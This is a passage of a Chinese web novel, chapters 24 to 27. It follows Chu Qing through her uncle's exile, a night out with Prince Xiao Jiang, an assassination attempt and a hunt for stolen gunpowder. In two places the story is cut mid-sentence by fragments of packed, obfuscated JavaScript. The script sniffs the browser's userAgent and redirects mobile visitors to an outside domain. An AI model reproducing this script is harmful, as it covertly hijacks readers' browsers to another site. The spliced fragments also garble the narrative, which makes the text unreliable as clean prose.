“楚二！你给老子滚出来！你雇凶伤人，十恶不赦，大靖例法在上，你今天必须给我一个交代！” 眼下天才蒙蒙亮，楚卿揉着惺忪睡眼从房内走出来，打量一眼面目全非地高闻，皱了皱眉。 赵炳下手真够狠的。 楚卿打了个哈欠：“姑父觉得怎样算是交代？” “偿命！”高弘储嘶声呐喊，“你毁我儿容貌，断我儿双腿，我儿的大好前程尽数毁在你手里，你必须要偿命！” “笑话。”楚卿将鬓发捋至耳后，随意靠在门廊上，睨着高弘储，“若我不答应呢，姑父打算怎么办？去衙门告我？好啊，姑父尽管去告，就说我楚卿雇凶伤人，让衙门好好审一审，我到底为什么非要你儿子这条命。” 高弘储自己都是泥菩萨过江，他自然不敢报官。楚卿把他所有的选择都算得一清二楚，又把他全部退路尽数封死，他恨透了。 凭什么一个黄毛丫头能把他一家耍得团团转？ 他贪腐怎么了？吏部官员各个不干净，凭什么他要被杀鸡儆猴？ 他的儿子不就是睡了几个女人，女人天生就是为男子传宗接代的，睡了就睡了，给个名分不就得了。 那些女人求死是她们不是抬举，他的儿子做错什么了？ 如果没有楚卿，这些事情在寻常富贵人家哪家没有发生过？那些侯爷国公家里三妻四妾，几个是正经纳进来的？ 不都是先上了床塌，再给个名分。凭什么到了楚卿这，他的儿子就必须偿命了？ 高弘储越想越恨，牙齿几乎咬碎。他忽然觉得，反正他这辈子算完了，要死，也得把恨撒了。 他攥着拳，颤抖片刻，忽然抽出一早准备的匕首，猛得朝楚卿冲了过来。 楚卿却没躲。 刀尖在她的鼻尖前落地。林七反手扭断高弘储的手腕，一把将人掀了出去。 高弘储重重摔在地上，正好砸在高闻的担架旁。他还想再爬起来，林七却已经飞身而过，一脚踩在了他的背上。 恰在此时，一队人马抵达琼英院。 “圣旨到！” 一队禁卫军护送李公公来此宣旨。 而一同前来的，还有萧绛。 24. 第二十四章 “他约我去添香茶楼。” 楚卿拄着下巴，慢悠悠往嘴里送了一块樱桃酥。 苏兰桡问：“那你答应了？” 楚卿点头：“昂，反正他请客。听说添香茶楼新出的蟹黄羹不错，每日限量二百份，好多人抢破脑袋都抢不着。这不正好能借着祁王的面子，我也去尝尝鲜。” 苏兰桡嗔她一眼：“少贫，前几天我问你想不想吃，你还说没兴趣。” 楚卿眨了眨眼睛：“有这事吗？”又咬了一口樱桃酥。 苏兰桡无奈摇头：“你没问问他约你做什么？” 楚卿拄着下巴，目光落在窗外，沉思片刻。 “不知道。” 苏兰桡：“……” 这事，还要从昨晚说起。 昨日宫中来人传圣上旨意，将高弘储以监守自盗、受贿卖官的名义逮捕，罢黜吏部主事之职，不日发配茺州，押送至边防营做劳役，终身不得返京。 高家奴仆尽数充公发卖，凡与高弘储两代以内亲缘者，不得再入朝为官。然圣上念在楚暮是为楚老将军的胞妹，其母女对高弘储贪腐一事并不知情，故未牵连至二人。 高弘储登时跪地大哭，扯着宣旨的太监的衣摆哀求，说他年过半百，年富力强的岁月尽付朝廷，且自诩揭发吏部有功，朝廷不该对他如此绝情。 皇帝身边的人什么场面没见过，李公公连看都没看高弘储一眼，就把攥在高弘储手里的衣摆拽回来，掸灰似的抖了抖：“高大人受朝廷恩养十余年，该知足了。” 高弘储慌不择路，竟又转头哀求萧绛：“王爷，王爷您是小二的夫君啊！小二是微臣看着长大的，您忍心看小二再失去亲人吗？微臣已经五十有余，怎么能去茺州那寸草不生的苦寒之地？王爷，您救救微臣，救救微臣吧！” 高弘储一面哀求，一面往萧绛脚边爬。眼看着就要碰到萧绛，被叶危上前反手按在了地上。 萧绛一袭鹤纹烫金广袖袍，负手而立，身姿笔挺。天色将暗未暗，点点墨色云斑衬在他的身后，更显出一身孤高矜贵。 一双狭长的凤眼里满是淡漠，楚卿一眼看过去，却心下一乱。她没缘由地想：好在有叶危，不然高弘储的脏手真要碰到萧绛了。 这个念头让楚卿愣了一下，紧接着，便见萧绛朝她走了过来。 “明日戌时，本王在添香茶楼等你。” 楚卿又拎起一块樱桃酥，没吃，兀自回味起萧绛说话时的语气，冷的，目光也是冷的，看不出任何情绪，八成是找她谈公事。 “苏姐姐，帮我查一件事吧！”楚卿道，“我记得萧绛的母妃是胡族人，但并非胡族王室之女。你帮我查查看，宸妃娘娘在入宫前，是否和胡族王室有过接触，或者，萧绛和胡族王室，有没有可能有关联。” 苏兰桡应下，略微不解：“怎么忽然查起萧绛了，和去年的大火有关吗？” 楚卿将拎了半天的樱桃酥丢进嘴里，避开苏兰桡的目光：“算是吧！” 眼下刚过晌午，距离和萧绛约定的时间还早。楚卿离开海云端后，又回了将军府。 西院的人和高弘储一起被禁卫军带走，高闻没受圣旨发落，但祁王府的人也将他一起带走了。 眼下西院只剩下楚暮母女，楚卿进门的时候，正瞧见表小姐高淳轻轻扯着楚暮的衣角，奶声奶气地问：“娘，爹爹和哥哥不跟我们一起走吗？” 楚暮眼眶红肿，埋头收拾行李，不敢看女儿：“他们不走，娘带淳儿去柳州。” 高淳歪了歪头：“爹爹不要淳儿了吗？” 楚暮鼻子一酸，想说“没有”，话音未脱口，又忍了回去。 楚卿届时叩了叩门：“姑母。” 楚暮回身，忙擦下眼角的泪：“小二来了，门口冷，快进来坐。” 楚暮身边的林嬷嬷是楚家的老人，没受高家人牵连。楚暮吩咐林嬷嬷奉茶，又借口将高淳带了出去。 房门关得严严实实，楚暮将一个信封交给楚卿，道：“小二，这是我代高弘储写的休书，你有机会帮我转交给他，让他签个字吧！” 在大靖朝，只有男方休妻，没有前朝所谓的和离。被休妻的女子，无论真正缘由究竟如何，都会遭受世人冷眼。 楚卿接过和离书，没多言语，只道：“姑母不必客气。您和淳儿打算什么时候出发？柳州路远，路上不太平。我寻了些靠得住的家丁和丫鬟，你们带上一起走吧！” 楚暮遂道谢。 离开西院，楚卿又在门口碰见了正在堆雪人的高淳。 小姑娘不过及腰的个字，穿着淡粉色的厚夹袄，两条小辫子上系着毛茸茸的白绣团，一晃一晃的，像两只探头探脑的小兔子。 高淳原是个爱闹的性子，但此时许是察觉到家里的气氛不对，孤零零一人蹲在雪人旁，垂着头，圆圆的脸蛋上看不见丝毫笑意。 楚卿走过去，蹲下问她：“怎么自己在这啊，林嬷嬷呢？” 高淳努着嘴巴，矫声道：“嬷嬷去收拾行李了，没空陪我玩。” 楚卿摸了摸她的头：“那姐姐陪你玩，好不好？” 小姑娘垂着头，半晌没答话，再抬头，眼里已然已然盈着泪：“姐姐，爹爹和哥哥是不是做坏事了？他们是不是不要我和娘亲了？” 大人总觉得出事该瞒着孩子，可有时候小孩子远比大人以为的聪明。 楚卿轻轻擦下高淳的泪，温声道：“淳儿，你的阿娘很爱你，没有爹爹和兄长，她一样可以照顾好你。但是，或许今后会有一些人在背后说你娘亲的闲话，如果你听到了，知道该怎么做吗？” 高淳抿了抿嘴，攥起小拳头：“谁敢说娘亲的坏话，淳儿就打他！打不过，就告诉娘亲，让娘亲打他！” 楚卿失笑，心里却酸涩。她扶着高淳的肩膀，意味深长道：“淳儿，你知道吗？你的母亲是将门之女，在成为你的母亲以前，她也曾暗中随你的外祖父出征。 “如今世人不知晓她的功绩，是因为这个世道不允许有你娘亲这样的巾帼英雄。但你要记得，她是为了你，也为了这个家，才甘心妥协，屈居于后宅。 “你要好好长大，要照顾好自己，也照顾好她，好吗？” 小姑娘红着眼睛点头，目光是干净且坚定的。只是这时她并不明白，“妥协”二字在世俗偏见与骨肉亲情里，究竟占着多大的分量。 黄昏时分，前往柳州的车马停在将军府外。 楚暮抱着女儿登车，临别时，又看向楚卿：“小二，你姑父和表哥……” 楚卿知道楚暮想问什么。 “姑父发配茺州，今后的日子虽艰苦，至少性命无虞。至于表哥，带走他的是祁王府的人。祁王会如何处置他，我也不知情。”楚卿安慰道，“不过，他没在衙门公开受审，不管是否能留住一条命，至少没牵连到表妹的名声。” 楚暮会意，叹了一声：“不管如何处置，都是他罪有应得。” 天色将暗，马车还要赶着天黑前出城，二人便未再多言。 夕阳的余晖照在石板路上，夹道的积雪被烤出一片残红。 高淳扒着车窗朝楚卿挥手道别，楚卿凝望着马车渐行渐远，一路消失在街角尽头。 不管结果好坏，高家的事情总归告一段落了。 …… 添香茶楼，二楼雅间。 暖榻边的红漆小窗半掩着，窗外时不时传来车马与说笑声。夜市通明的灯火顺着窗缝照进来，尽数映在萧绛的眼底。 萧绛坐在暖榻上，听着窗外的 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许是不宜被人看出身份，萧绛穿的不是昨日那间肃穆的烫金黑袍。他换了一件天青的便服，云纹束袖，配以高高束起的银冠，平生出几分少年气。 楚卿站在门口打量他一眼，见他气色还算不错，走进去笑问：“上次给王爷的药试过了吗？效果怎么样？” 萧绛没答她的话，只吩咐房内的人退下，而后目光沉沉地看向楚卿，眼里带着些考究：“从前竟不知楚二姑娘还懂医术。” 楚卿脚步一顿，勾了一下唇角。 她走到萧绛对面落座，拄着下巴，朝他微一挑眉：“王爷很了解我？” 萧绛不语，眼角与鼻梁间的小痣红得灼眼。 楚卿便笑：“我娘身体不好，常年服药。所以我研究过一些医书典籍，多少通些医理。但上次听王爷身边的人说，王爷的咳疾不是因为风寒？” 萧绛依旧不语，目光倒是暗了一瞬。 楚卿愣了愣，这是什么反应？难不成有什么隐疾？ “不说算了。” 楚卿喝了口茶，又问：“王爷点菜了吗？他家最近新出的蟹黄羹不错，要不要尝尝？”又瞟了一眼手里的茶，啧了一声，“蓝山苦茶，王爷怎么喝这个？” 倒不是不好喝，楚卿从前也总点。但这茶太苦，萧绛应是喝不惯的。 楚卿径自起身去喊人，吩咐人换了一盏庐山云雾，又顺便把小食也点了。 “两碗蟹黄羹，一盘糖蒸酥酪，两份如意糕，再来一份樱桃酒酿。” 反正萧绛请客，楚卿也没客气。这些糕点都是添香茶楼的招牌，她不看菜单也能背下来。 跑堂得了吩咐欲走，楚卿又把人叫住叮嘱：“糖蒸酥酪要半糖，如意糕冷了再上，樱桃酒酿多加一份樱桃。哦，对了，再去隔壁的杜康酒馆，帮我打二两松醪酒吧！” 跑堂笑了笑：“客官您是老主顾吧！不是咱们添香茶楼的老顾客，不可能晓得这些吃法。” 楚卿也笑笑，给了跑堂一贯铜钱：“有劳了。” 厢门被跑堂拉上，雅间里又只剩下楚卿和萧绛。 暖榻修在窗边，楚卿朝里坐了坐，顺势靠在窗沿上，懒洋洋地等着上菜。 将窗户推开，可以远眺大靖皇城的万家灯火。楚卿靠在窗边出了会神，再回眸，只见萧绛目光沉沉地注视着他，深邃的眸光一改淡漠，充满了试探和怀疑。 “楚二姑娘似乎对这很了解？” 萧绛意味不明道：“据说前任礼部尚书楚大人，她也很喜欢这。” 又顿了顿， “你们，认识吗？” 25. 第二十五章 萧绛的唇很薄，唇色浅淡，如同西域进贡的桃色琉璃盏，华贵中藏着令人不忍触碰的易碎感。 而此时，他唇角微扬，藏着一抹似有似无的笑，带着些玩味，反平生出几分少见的恣意风流。 楚卿枕着胳膊靠坐窗边，神姿散漫地对上他的目光，心里闪过一丝妄念，如同荒原上的星星之火，渺小，却不容忽视。 默了片刻，她笑问：“王爷似乎对楚大人，很感兴趣？” 此话一出，无异于承认了与楚钦相识。 然，萧绛并不答话，反倒把她的话丢了回来：“楚二姑娘似乎对本王的兴趣，也很感兴趣？” 若是旁的姑娘，听见这话八成会红着脸息声。可楚卿偏是个没大心的。她从窗边起身，又挪回到矮桌旁，伏在桌前拄着下巴，微一扬眉：“嗯，感兴趣。” 言语冒昧，目光却坦荡。 萧绛将冒着热气的蟹黄羹朝前推了推：“吃吧，快冷了。” 楚卿忍笑，舀了一勺蟹黄羹放在嘴边吹了吹，又问：“王爷今晚特意约我出来，就为了请我吃饭？” 萧绛：“高闻死了。” “嘶！” 楚卿被蟹黄羹烫了一下，放下汤碗，皱了皱眉：“怎么死的？” 萧绛神色平静，仿佛在说一件无关痛痒的事：“不治身亡。”又将松醪酒推给楚卿。 方从外面打回来的松醪酒还带着凉意，流入唇齿之间，缓解了舌尖的刺痛。 楚卿抿了抿唇，无奈笑道：“王爷为了保住祁王妃的名声，还真是煞费苦心，先是软禁证人，现又除掉真凶，您就这么怕我把这事闹到衙门吗？” 萧绛也不反驳，面不改色道：“本王可以给你补偿。” “什么补偿？”楚卿忍不住皮了一句，“以身相许啊？” 萧绛皱眉，选择性忽略了后半句：“你心有鸿鹄之志，不该困于闺阁。若你愿意，本王可以送你进鸿章书院。” 这倒在楚卿的意料之外。 “鸿章书院没有女子求学的先例。”楚卿将杯中清酒蓄满，坐正举杯，一饮而尽，“多谢王爷抬爱，不劳王爷费心。” 她的路，她自己走。 寒风将半掩的小窗吹开，楚卿起身去关窗。 晟都城的夜晚总是灯火通明，像是天上洒落无尽的长明灯。天上星河寥寥，人间灯火簇拥，璀璨的琉璃灯布满亭台楼阁，如同天火落入凡尘，燃起一座富丽堂皇的不夜城。 楚卿站在窗边遥望夜景，萧绛却在看她。 窗边的人衣袂微动，一城灯火尽作底色，负手而立间，竟可窥见藏于清瘦的外表下，吞山纳海之气魄。 不多时，窗前的人探头朝外张望片刻，忽然回头看向他，一双眼睛亮得如同偷得漫天星河。 “王爷，你冷不冷？” 没头没尾的一句话，萧绛思量一瞬，道：“如果你冷，可以吩咐人加炭火。” 楚卿又看向窗外，解释道：“我不冷，我想去吃抄手。外面风大，我怕你出去会冷。” 萧绛顿了一瞬，拂着衣袖起身：“不冷，走吧！” 抄手铺子在添香茶楼对面，是一座临时搭在街边的竹棚。冒着热气的大铁锅就支在竹棚边上，汤底是猪骨熬的老汤，醇香浓白，散发着诱人的香气。 铺子老板挥着铁勺在锅里搅了两圈，盛出两碗热气腾腾的抄手，热络地给楚卿二人端了过来。 在京城这种显贵云集之地，萧绛此刻的天青束袖袍并不算显眼。然而自从二人落座起，抄手铺子周围便多了不少人，凡是路过的行人都会朝他们的方向多看几眼，像是瞧见什么新鲜事。 连天子面前都能进退有度的祁王殿下，此刻竟是紧紧皱眉，似乎对周围越来越多的注视很不理解。 楚卿捧着热乎乎的抄手碗，美滋滋吸了一口骨汤，笑道：“王爷不用觉得奇怪，您就是套个麻袋把自己丢到街角，也是乞丐堆里最显眼那个。” 有些人的矜贵刻在骨子里，粗布麻衣也掩不住一身贵气。 楚卿自觉是在夸萧绛，萧绛却侧目瞥她一眼：“好在你没去鸿章书院，否则周老的言辞课，你会挂红。” 这是嘲她不会说话了。 楚卿正准备损回去，叶危忽然走了过来，打断了她的话。 叶危神色匆匆，附耳对萧绛说了几句，手里始终攥着腰间的刀柄，刀鞘上还沾着星星点点的血迹。 紧接着，萧绛手指动了动，茶棚周围立刻有不少百姓打扮的人陆陆续续从原本的摊位前离席。 旁人看着不会发现端倪，楚卿却一早看出来，那些人都是藏在四周的祁王府暗卫。 看来今夜的晟都城不太平。 楚卿埋头吸了口抄手汤，试探道：“王爷若有公务在身，不妨先回吧！我吃完抄手就走，时辰也不早了。” 萧绛却道：“无妨。” 一碗热乎乎的抄手很快下肚，身子由内而外暖了起来，楚卿放下旧陶碗，看向萧绛，只见萧绛手边的抄手还原封不动地放着，微冷的汤上已然凝上一层油花。 也是，金尊玉贵的祁王，哪能吃的惯这些。 楚卿瞧着可惜，看了看抄手，又看了看萧绛。 萧绛会意：“这碗冷了，你没吃够，再点一碗。” 楚卿径自把萧绛手边的抄手端过来，笑了笑：“热有热的吃法，冷有冷的吃法，别浪费嘛！以前没钱的时候，我和小七俩人吃一碗抄手，连汤都喝得干干净净。那时候真是容易满足，寒冬腊月里有一碗热乎乎的抄手汤果腹，就能开心得跟过年一样。” 话音未落，楚卿动作一僵，恨不得把话收回来，再狠狠掐自己一把。 和萧绛谈什么过去的事做什么，真当他是陪自己逛夜市的挚友了？ 萧绛却只是淡淡问她：“你从前，过得很苦吗？” 楚卿将嚼了一半的抄手咽下去，故作无奈道：“西院的高家人对我们娘俩一向刁难，王爷又不是不知道。” 萧绛不语，似在思量什么。 楚卿便岔开话题：“王爷，能问你个事吗？” 萧绛只是看着她，算是默许。 楚卿问：“将军府如今无权无势，空有一副躯壳。我又算不上什么倾国倾城的美人。您如今要风得风，要雨得雨，为什么偏偏选我做您的祁王妃？” 萧绛语气平平：“赐婚。” 楚卿略微惊讶：“圣上赐婚前，没问你的意思吗？” 萧绛：“未曾。” 看样子，这位风光无限的祁王殿下，也并非可以事事尽遂心意。 楚卿沉默一瞬：“……那如果可以退婚，王爷退吗？” 萧绛思量一瞬：“不会。” 正往嘴里送的抄手停在唇边，楚卿有些期待地眨了下眼：“为什么？” 萧绛沉声道：“本王退婚，会影响你的声誉。” 楚卿一时间不知道该不该高兴。 她将抄手吞了下去：“我不在乎这个。王爷若是不想娶我，随时可以取消婚约。” 虽说赐婚没有退婚的先例，但以萧绛的手段，只要他想办，没有办不成的事。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790874|158092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >萧绛却只是从容看着她，忽然问：“有那么好吃吗？” 楚卿愣了一下，才发觉自己又快吃完了一大碗抄手。她也没多想，舔了舔唇角的汤，舀出最后一个抄手，递向萧绛：“确实好吃。还有一个，王爷要不要尝尝？” 楚卿自己在抄手里加了红油辣子，两碗抄手下肚，唇色红润，不点而朱。晶亮的汤花沾在嘴角，泛起一抹潋滟的亮色。 萧绛打量一眼抄手，视线不由自己上移，慢慢落在那抹红润的唇上。 喉结不由自主地动了动。 楚卿失笑：“王爷想吃也不早说。” 都咽口水了。 楚卿将手里的抄手朝前送了半分，萧绛竟鬼使神差地张口，把送到唇边的抄手吃了下去。 刚好赶过来传信的叶安看到这一幕，脚步一凝，整个人僵在寒风里。 他家王爷居然乖乖让人喂吃的？ 活见鬼了。 楚卿注意到叶安，放下抄手碗，朝萧绛身后扬了扬下巴：“王爷，来人了。” 萧绛这才反应过来自己方才做了什么，顿觉耳根发热。 他皱着眉头回首，不悦道：“说。” 叶安：“……那个，王爷，刑部，不是，赵炳，那个……” 他要说啥来着？ 方才叶危来报，说赵炳从刑部大牢跑了，眼下叶安又来报，看样子是有赵炳的消息了。 萧绛也不避讳楚卿：“抓回来了？” 叶安下意识看了眼楚卿，见萧绛不避讳，也直接回禀：“追到城西的时候跳井了，眼下正在捞人。” 吏部贪腐一案近日正在收尾，像高弘储这种小鱼大多被发配流放。再严重些，连带家中子女一同发卖。而赵炳作为吏部尚书，也是贪腐案中最大的祸害，自然逃不了一死。 昨日赵炳的府邸已被抄家，赵炳也被判于明日午时处斩。眼下人忽然跑了，肯定是刑部大牢出了问题，有人里应外合，把他救走的。 楚卿自知不能再耽误萧绛的时间，便向萧绛辞行，招呼马车过来准备动身回府。 萧绛走到马车旁送她，楚卿在马凳上回眸，笑道：“今日多谢王爷款待，下次我请你。” 话音未落，远处塔楼寒光一闪。 楚卿察觉不对，立刻扑下马车。萧绛被她扑到地上，一道金色羽箭擦着二人的发梢飞刺而过，铛一声，径直没入马车的车身。 楚卿撑着地面起身，伸手去拉萧绛：“王爷，没事吧？” 萧绛的视线在她手上凝滞一瞬，目光微动：“你受伤了。” 楚卿这才发现自己摔倒时手掌撑地，掌心擦出了一片青紫的血痕。掌心的伤口夹杂尘土，看起来颇为狼狈。 萧绛怕脏，念及此，楚卿下意识收回手：“小事。” 萧绛径自起身，看向楚卿背在身后的手，欲言又止，最后转而看向叶安：“西北塔楼方向，追。” 叶安领命，三下两下消失在夜幕里。 突发事件令周围百姓乱作一团，祁王府暗卫纷纷现身安顿秩序。萧绛走到马车旁单手拔出金色羽箭，箭头淬毒，呈现出流光的墨绿色。 楚卿皱了皱眉：“金敕的人，冲你来的？” 萧绛将羽箭递给暗卫，又将从添香茶楼打包的茶点递给楚卿：“不是，你先回将军府。” 楚卿只好登车，坐稳后又掀开车帘，朝车外喊：“萧绛，注意安全。” 青衣男子在灯火阑珊处回身，素来淡漠的眼底升起一抹暖色。 车马走远后，他才兀自浅笑：“好。” 26. 第二十六章 那枚金色羽箭楚卿曾经见过，在从前抓到的金敕暗探的身上。 至于求和的金敕一族为何在大靖皇城作乱，甚至意图刺杀大靖皇子，这事，还得从金敕王权的暗斗说起。 近年大靖与金敕冲突不断，现金敕王室赫巴一族因战事损耗巨大，财力物力都已日渐式微。 原本辅佐赫巴王室的旱塔一族趁机蓄力，多年来暗中招兵买马，势力逐渐庞大，篡位之心昭然若揭。 这次瀚水盟约，金敕王室向大靖求和，也有暂休战事、专心安内的意思。而原打算坐收渔利的旱塔一族，自然不肯应允。 自打去年瀚水盟约初次商议开始，旱塔一族的暗探便伺机潜入晟都城，无时无刻不在找机会挑拨两国关系，企图阻止盟约的签订。 去年中秋宫宴上的大火，或许也和旱塔一族脱不了关系。 而萧绛不仅是大靖皇子，眼下也是瀚水盟约的主管人，旱塔一族对他出手，八成也是为了阻止瀚水盟约的签订。 祁王府的人遍布晟都城，抓住一名已经暴露位置的暗探并不难。可赵炳偏偏也在这时候逃出刑部大牢，楚卿总觉得事情太巧了些。 马车还在匆匆往将军府赶，街上已经出现了不少挨家挨户查人的禁卫军。 楚卿朝外观望片刻，又掀开车帘，问赶马的车夫：“赵炳是在哪失踪的？” 车夫一身粗衣打扮，神色和寻常百姓无异。楚卿问他话，他困惑地挠挠头：“姑娘，您说什么，小的不懂。” 楚卿索性直接出去坐到他旁边，亮出萧绛给她的令牌：“我知道你是祁王府的人。赵炳什么时候出逃，去过哪些地方，最后跳了哪口井，事关祁王甚至皇城百姓的安危，劳烦如实告知在下。” 楚卿的语气不卑不亢，眸光中却有寻常闺阁女子少有的镇定和威仪。 车夫惊讶片刻，颔首回禀：“回王妃，据卑职所知，赵炳在半个时辰前逃出刑部大牢，先是去了一趟城西的典当行，被我们的人发现后，从典当行的后门出逃，一路逃到景晨街的一家染坊，最后走投无路，才跳了井。” 楚卿沉思片刻，又问：“他去典当行做了什么？” 车夫道：“用一支玉簪当了五十两银子，应是为了出逃用。” 楚卿轻笑一声。 笑话。 赵炳能从刑部大牢出逃，必有人暗中接应，怎么可能连赶路的盘缠都要现去当铺抵押？ “典当行里都有什么人？”楚卿又问。 车夫道：“只有老板和一名看门小童，王爷已经派人将他们带走审问了。典当行的老板是京城的老面孔，与赵炳没有旧交，和金敕一族的关系应该也不大。” 车夫忽然提到金敕，正在沉思的楚卿立刻抬眸：“王爷怀疑赵炳出逃和金敕暗探有关？” 这倒和楚卿的猜测不谋而合。 车夫这才发觉自己多言，想闭嘴，又不能把说出口的话收回来，只好把萧绛推测的情况一五一十告诉给楚卿。 半月前，工部遗失一批开山用的火药，萧绛得知此事，开始命人暗中调查。然而查了足足半月之久，只能确认这批火药尚未运出城，至于现在何处，始终没有线索。 近日金敕暗探动作频繁，萧绛抓住不少暗探。一番审问才得知，这批火药被工部主事卖给一名自称烟火贩子的外地商户。经调查，这名商户正是金敕旱塔一族的暗探假扮。 而且，此人还曾到过赵炳的私宅。 楚卿沉思半晌，隐约升起一阵不详的预感。 赵炳逃出刑部大牢、金敕暗探行刺萧绛、禁卫军上街巡逻搜查，一桩桩，一件件，好像都是提前设计好一般。 有人想要京城大乱，只有京城大乱，赵炳才能趁乱出逃，金敕一族才能趁乱行刺。 他们已经对萧绛出过手，真正的目标不可能是萧绛。 楚卿忽然懂了萧绛那时为何说不是冲着他来的。 禁卫军上街，皇宫内部必然虚空。 楚卿心下一惊，一把扯过车夫手里的缰绳。一声马鸣划破夜空，楚卿调转马车，吩咐车夫：“你去通知王爷，有人意图行刺圣上，禁卫军决不能离开皇宫。” 话音未落，远处传来一声巨响，马车一阵颠簸，连四周的土地都跟着颤了颤。 剧烈的爆炸声震得耳畔一阵嗡鸣，待楚卿再回过神，隔着两道街远的夜空中已燃起高高的火舌。 “是月坛的方向。” 月坛是大靖皇室祭祀的天台，也是即将举行瀚水盟约签约大典的地方。如此重地被炸，皇帝必然会派禁卫军全城搜查。届时宫中一空，谁也料不到会发生什么。 楚卿思量一瞬，反手抽出藏在腰间的匕首，将绑马的绳索一刀砍断，吩咐车夫：“不必去找王爷了。” 如果她猜的不错，萧绛此刻应该已经在进宫的路上了。 楚卿利落地翻身上马，回眸看向车夫：“去将军府找我的侍女林七，让她去城西玉曲巷找我。” 赵炳和遗失的炸药，她知道在哪了。 与此同时，皇宫玄德门外。 祁王府的马车在门口停下，叶危出示手令，吩咐守门卫兵：“祁王遇刺，月坛被炸，晟都城内疑有金敕暗探作乱，速去启禀圣上。” 卫兵得令立刻入宫禀报。 不到一刻钟，立刻有大批禁卫军从皇宫四面宫门入城。黑压压的盔甲在夜幕中泛起寒光，兵刃的磕碰声在整座晟都城上空沉沉回响。 城中百姓早被月坛爆炸的声音惊醒，不少人已经涌上街头。禁卫军控制住街上的百姓，把人全部赶回家后，又开始挨家挨户叩门调查。 今夜的晟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790875|158092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都城注定是不眠夜。 月坛的大火尚未扑熄，灼眼的火舌撕开夜幕，如同翻涌的血色海浪。 萧绛仍坐在皇宫门前的马车里，视线穿过车窗远远遥望月坛的方向，一夜灯火与翻腾的火舌尽收眼底。 叶危走到马车窗前低声回禀：“王爷，禁军主力已尽数入城排查，不足半个时辰，就能查出玉曲巷中藏匿的剩余炸药。金敕暗探也已趁乱潜入皇宫，我们是时候入宫了。” 萧绛转了转手里的扳指：“不急，再给他们些时间。” “他们”是指金敕暗探。 皇宫内部地形复杂，金敕暗探想要找到皇帝的居所还需要时间。 萧绛要给这些暗探留给足够的时间。只有在最紧要的关头出现，他那位多疑的父皇才会相信他“一心忠君”。 皇宫外戒备森严，周遭还算安静，只有远处城巷里的喧哗时不时传过来。萧绛闭目沉思，左手指尖在右手手背上不轻不重地点着。 默了片刻，萧绛缓缓睁眼，掀开车帘：“备轿，进宫。” 皇宫内不走马匹，进宫需要换乘轿撵。叶危喊来一早备好的轿夫，萧绛便下了马车。 脚跟甫一落地，远处突然传来一阵急促的马蹄声。 原本派去送楚卿回府的暗卫骑马奔来，临到门口翻身下马，跪地回禀：“王爷，楚二姑娘去玉曲巷了。” 萧绛目光一凝：“什么？” 假扮车夫的暗卫立刻将前因后果回禀给萧绛，等说完，他抬眸偷偷看向身前披着狐裘大氅的男人。 夜色沉沉，寒风萧索，萧绛垂着眼帘，一双剑眉紧锁，戴在拇指上的墨玉扳指就快被另一只手按碎。 “叶危，备马。”萧绛沉声吩咐。 叶危立刻躬身请求：“王爷，大局为重。叶安也在玉曲巷，楚二姑娘未必会遇险。” 萧绛的语气却不容置疑：“备马。” 叶危只好轻叹一声，上前卸下马车上的马匹，牵到了萧绛的身前。 雪色狐裘划出一道半圆，萧绛翻身上马，一手解开狐裘，反手丢给叶危。 马蹄声起，天青色的身影逐渐消失在夜幕里。 叶危站在原地沉默半晌，吹了道口哨。 口哨声划破夜空，皇宫内看不见的地方，立刻出现数名暗卫，将潜入皇宫的金敕暗探尽数拿下。 萧绛已走，这出舍身救驾的戏码也不必演了。 今夜的计划，从半月前发现工部炸药失踪就开始谋划。如今眼看着收尾，却就此功亏一篑。 可叶危望着萧绛离开的方向，却觉得欣慰。 记得上次看他家王爷不顾一切地赶马飞奔，还是在去年中秋。 如今时隔半年，总算又有人能让这位素来处变不惊的王爷，在机关算尽中，有些旁的诉求了。 27. 第二十七章 城西玉曲巷。 一道黑色的身影脚步匆匆地穿过主巷，特意避开几家亮着灯火的院子，一路逃到了巷子尽头的小院门前。 院门上贴着封条，一条刻着官印的铁锁横亘在门前，将两道黑漆木门锁得严严实实。 黑影从单薄的衣衫中摸出一枚钥匙。因着一路跑来手脚冻得发僵，他开锁的动作十分笨拙，沾着血迹的指尖不住地颤抖，越急动作越乱，钥匙啪嗒掉在了地上。 临近的几家院子都亮了灯，但因为月坛被炸，起了好大的火，邻里百姓的注意力都在大火上，没人发觉他的动作。 他忙拾起钥匙继续开锁。锁链摇晃发出阵阵轻响，晃啷片刻，咔一声，锁开了。 男人如释重负，长长舒出一口气，移步进了院子。 哪成想院门一开，一道白色身影赫然出现在眼前。 “赵大人，好久不见啊！” 楚卿面带笑意站在院落中间，不紧不慢地点亮了手里的灯笼。 小院被灯火照亮，才露出男人的模样——一身单薄的粗麻囚衣，头发蓬乱，胸口布满鞭痕，身上的血迹已然凝成黑红色，像是滚了一身混着朱砂的烂泥。 都说刑部审讯下手狠辣，果然名不虚传。 赵炳明显慌了一瞬：“你是什么人？” 楚卿：“来抓你的人。” 响指一打，藏在院墙上的林七一跃而下。 赵炳根本来不及反应，直接被重重按在地上。 赵炳咬牙瞪着楚卿，满眼血痕，狠狠啐出一口黑血：“你是什么人？金敕？还是祁王府？” 楚卿垂眸睨着他：“都不是，我是来抓你的人，也是来救你的人。工部不久前失踪了一批火药，炸月坛用不完那么大的数目。剩余的火药埋在哪，老实交代，我还可以考虑送你出城。” 赵炳狠狠瞪着她：“本官凭什么信你？” 